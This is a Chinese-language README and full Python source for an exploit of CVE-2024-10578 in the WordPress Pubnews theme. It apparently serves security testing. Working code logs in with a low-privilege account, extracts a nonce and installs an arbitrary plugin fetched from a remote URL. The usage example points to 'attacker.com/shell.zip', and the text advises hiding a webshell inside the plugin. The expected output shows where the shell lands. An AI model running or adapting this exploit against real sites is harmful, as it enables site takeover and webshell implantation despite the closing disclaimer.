Pubnews 主题漏洞利用工具 (CVE-2024-10578)
本项目提供了一个针对 WordPress Pubnews 主题 1.0.7 及更早版本 的自动化漏洞利用脚本。该脚本利用 pubnews_importer_plugin_action_for_notice() 函数中缺失的权限检查漏洞,允许经过身份验证的用户安装任意插件,从而可能进一步利用其他漏洞。
功能特性
- 自动化认证:通过 WordPress 登录接口进行身份验证,支持用户名和密码。
- 安全随机数提取:自动从目标页面的JavaScript变量中提取
_wpnonce值,用于构造后续请求。 - 远程插件安装:利用主题漏洞,从指定的URL下载并安装任意的插件压缩包(zip文件)。
- 详细反馈:脚本在执行每一步操作后都会在控制台输出明确的状态信息,便于使用者了解攻击流程和结果。
安装指南
系统要求
- Python 3.x
requests库
安装依赖
您可以使用 pip 来安装所需的Python库:
pip install requests
使用说明
基本用法
该脚本通过命令行参数运行,您需要提供WordPress站点的URL、登录凭据以及恶意插件的下载链接。
python wordpress_exploit.py -u <目标URL> -un <用户名> -p <密码> -url_zip <插件zip文件URL>
参数说明
| 参数 | 简写 | 必需 | 描述 |
|---|---|---|---|
--url | -u | 是 | 目标WordPress站点的完整URL。 |
--username | -un | 是 | 用于登录WordPress的用户名。 |
--password | -p | 是 | 用于登录WordPress的密码。 |
--plugin_url | -url_zip | 是 | 指向待安装插件zip文件的直接下载链接。 |
使用示例
python wordpress_exploit.py -u http://example.com/wordpress -un admin -p password123 -url_zip http://attacker.com/shell.zip
预期输出
[+] Logged in successfully.
[+] Admin _wpnonce extracted: 6bf22371ab
[+] Plugin installed successfully.
[+] Plugin extracted. You can find the shell here: /wp-content/plugins/shell1/
重要提示
- 插件准备:
--plugin_url参数必须是一个直接指向zip文件的链接。为了确保利用成功,建议将一个现有的WordPress插件(如hello.php)进行修改,将您的恶意代码(例如Webshell)嵌入其中,然后重新打包为zip文件,并将其托管在可通过互联网访问的服务器上。 - 权限要求:该漏洞需要攻击者拥有一个有效的WordPress账户(即使是订阅者级别的账户也可)。脚本会首先进行身份验证。
- 作用域:该脚本仅用于授权环境下的安全测试和教育目的。未经授权使用此工具攻击他人系统是违法的。
核心代码
以下是该利用工具的核心逻辑实现,展示了从登录认证、提取_wpnonce到发送恶意插件安装请求的完整过程。
import requests
import argparse
import re
def main():
parser = argparse.ArgumentParser(description='Pubnews <= 1.0.7 - Unauthenticated Arbitrary Plugin Installation # By Nxploited , Khaled alenazi')
parser.add_argument('-u', '--url', required=True, help='The URL of the WordPress site')
parser.add_argument('-un', '--username', required=True, help='The username for WordPress login')
parser.add_argument('-p', '--password', required=True, help='The password for WordPress login')
parser.add_argument('-url_zip', '--plugin_url', required=True, help='The plugin URL to install (must be a zip file with the shell injected inside)')
args = parser.parse_args()
session = requests.Session()
requests.packages.urllib3.disable_warnings()
session.verify = False
# 1. 身份验证
login_url = args.url + '/wp-login.php'
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
response = session.post(login_url, verify=False, data={
'log': args.username,
'pwd': args.password,
'rememberme': 'forever',
'wp-submit': 'Log+In'
}, headers={"User-Agent": user_agent})
if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
print("[+] Logged in successfully.")
else:
print("[-] Failed to log in.")
exit()
# 2. 提取安全随机数 (_wpnonce)
admin_page_url = args.url + '/wp-admin/admin.php?page=pubnews-info'
response = session.get(admin_page_url, verify=False)
wpnonce_match = re.search(r'var pubnewsThemeInfoObject = {.*?"_wpnonce":"([^"]+)"', response.text)
if wpnonce_match:
admin_wpnonce = wpnonce_match.group(1)
print(f"[+] Admin _wpnonce extracted: {admin_wpnonce}")
else:
print("[-] Failed to extract admin _wpnonce.")
exit()
# 3. 构造并发送插件安装请求
plugin_file = args.plugin_url.split('/')[-1].replace('.zip', '')
plugin_file_path = f"{plugin_file}/{plugin_file.split('.')[0]}.php"
post_url = args.url + '/wp-admin/admin-ajax.php'
headers = {
"User-Agent": user_agent,
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Referer": args.url + '/wp-admin/admin.php?page=pubnews-info',
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": args.url,
"Connection": "keep-alive",
}
# 将session中的cookie添加到请求头中
cookies = session.cookies.get_dict()
headers['Cookie'] = '; '.join([f'{name}={value}' for name, value in cookies.items()])
install_data = {
'action': 'pubnews_importer_plugin_action',
'_wpnonce': admin_wpnonce,
'plugin_action': 'not-installed',
'link': args.plugin_url,
'file': plugin_file_path,
'importer_or_not': 'true'
}
response = session.post(post_url, headers=headers, data=install_data, verify=False)
if response.status_code == 200 and 'status' in response.text:
print("[+] Plugin installed successfully.")
print(f"[+] Plugin extracted. You can find the shell here: /wp-content/plugins/{plugin_file}/")
else:
print(f"[-] Failed to install plugin. Status code: {response.status_code}")
print(response.text)
exit()
if __name__ == "__main__":
main()
6HFtX5dABrKlqXeO5PUv//PY1jA021g87WptDu3Oph0=